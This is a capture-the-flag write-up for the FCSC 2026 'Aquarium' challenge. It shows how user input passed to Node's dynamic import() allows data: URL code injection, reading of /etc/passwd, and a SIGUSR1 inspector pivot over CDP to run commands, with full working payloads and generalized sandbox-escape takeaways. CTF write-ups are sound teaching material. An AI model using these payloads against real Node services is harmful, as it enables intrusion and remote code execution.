Note
Inject a data:text/javascript module into a dynamic import() to get code execution under Node's --permission sandbox (fs-read only), then SIGUSR1 a sibling unrestricted node process to open its inspector, drive it over CDP/WebSocket, and run child_process for full RCE.
FCSC Aquarium — data: import injection → SIGUSR1 inspector pivot
CTF: FCSC 2026 · Category: Web (server-side) · Goal: RCE to run /getflag
Challenge overview
An Express app whose /language route does a dynamic import() with user input in the path:
// server.mjs
app.post("/language", async (req, res) => {
const requested = req.body?.lang || "fr";
try { res.json(await import(requested + "/index.js")); } // <-- attacker controls `requested`
catch { res.json(await import("fr/index.js")); }
});
It also serves /message from /tmp/message.txt, and a separate messages.js is run in a shell loop:
while true; do node /home/ctf/messages.js; done
The server itself runs under Node's permission sandbox:
command=node --permission --allow-fs-read=/ /usr/app/server.mjs
So inside the server we get fs read of the whole FS but no child_process/spawn — and, crucially,
--permission disables the SIGUSR1 inspector listener for that process. messages.js, however, runs
without --permission.
Step 1 — import() injection via a data: URL
import() accepts data: URLs. Inject data:text/javascript,<code> and use a trailing // to comment
out the appended /index.js:
{"lang":"data:text/javascript,export default 42;//"}
The route returns the module's exports as JSON, so anything we put on export default is reflected back —
a clean read oracle. Confirm with an fs read (allowed by the sandbox):
{"lang":"data:text/javascript,import {readFileSync} from \"node:fs\";export default { data: readFileSync(\"/etc/passwd\",\"utf8\") }//"}
But child_process is blocked here, so this alone isn't RCE.
Step 2 — wake a non-sandboxed inspector with SIGUSR1
Node starts the inspector on 127.0.0.1:9229 when it receives SIGUSR1 — but only for processes
not launched with --permission. The looping messages.js qualifies. From our import-exec context
(which can read /proc and send signals), find its PID and signal it:
import { readdirSync, readFileSync } from "node:fs";
let pid;
for (const p of readdirSync("/proc")) {
try { if (readFileSync("/proc/"+p+"/cmdline","utf-8").includes("messages.js")) { pid = +p; break; } } catch {}
}
process.kill(pid, "SIGUSR1");
const j = await (await fetch("http://127.0.0.1:9229/json/list")).json();
export default { url: j[0].webSocketDebuggerUrl }; // ws://127.0.0.1:9229/<uuid>
Step 3 — drive the inspector over CDP for RCE
Connect to the debugger WebSocket and send Runtime.evaluate. The debuggee is CommonJS and require
isn't in scope under Runtime.evaluate, so reach it via process.mainModule.require. messages.js is
unrestricted, so child_process works:
const out = await new Promise((resolve, reject) => {
const ws = new WebSocket(url);
ws.onopen = () => ws.send(JSON.stringify({
id: 1, method: "Runtime.evaluate",
params: { returnByValue: true,
expression: 'process.mainModule.require("node:child_process").execFileSync("/getflag").toString()' }
}));
ws.onmessage = ({data}) => { const d = JSON.parse(data); if (d.id !== 1) return; ws.close(); resolve(d.result.result.value); };
ws.onerror = reject;
});
export default { out };
Wrapped as the lang payload, sent to /language:
{"out":"FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}"}
The whole thing is one self-contained ESM data URL: find PID → SIGUSR1 → /json/list → WS →
Runtime.evaluate → /getflag.
Takeaways (generalized technique)
- User input flowing into
import()(orrequire()) is RCE: adata:text/javascript,...//URL executes arbitrary module code;//swallows any appended suffix like/index.js. - Node's
--permissionsandbox blockschild_processand the SIGUSR1 inspector — but only for the process it launched. Any sibling Node process started without--permissionis a pivot: signal it SIGUSR1 to open127.0.0.1:9229, then drive it via CDP (/json/list→webSocketDebuggerUrl→Runtime.evaluate). - Under
Runtime.evaluate,requiremay be undefined — useprocess.mainModule.require(...). - Even a "useless" looping helper process is an attack surface; check every Node process's flags.
Sources & references
- Challenge source:
fcsc2026/web/fcsc_aquarium - Node permissions: https://nodejs.org/api/permissions.html · Node debugging/SIGUSR1: https://nodejs.org/learn/getting-started/debugging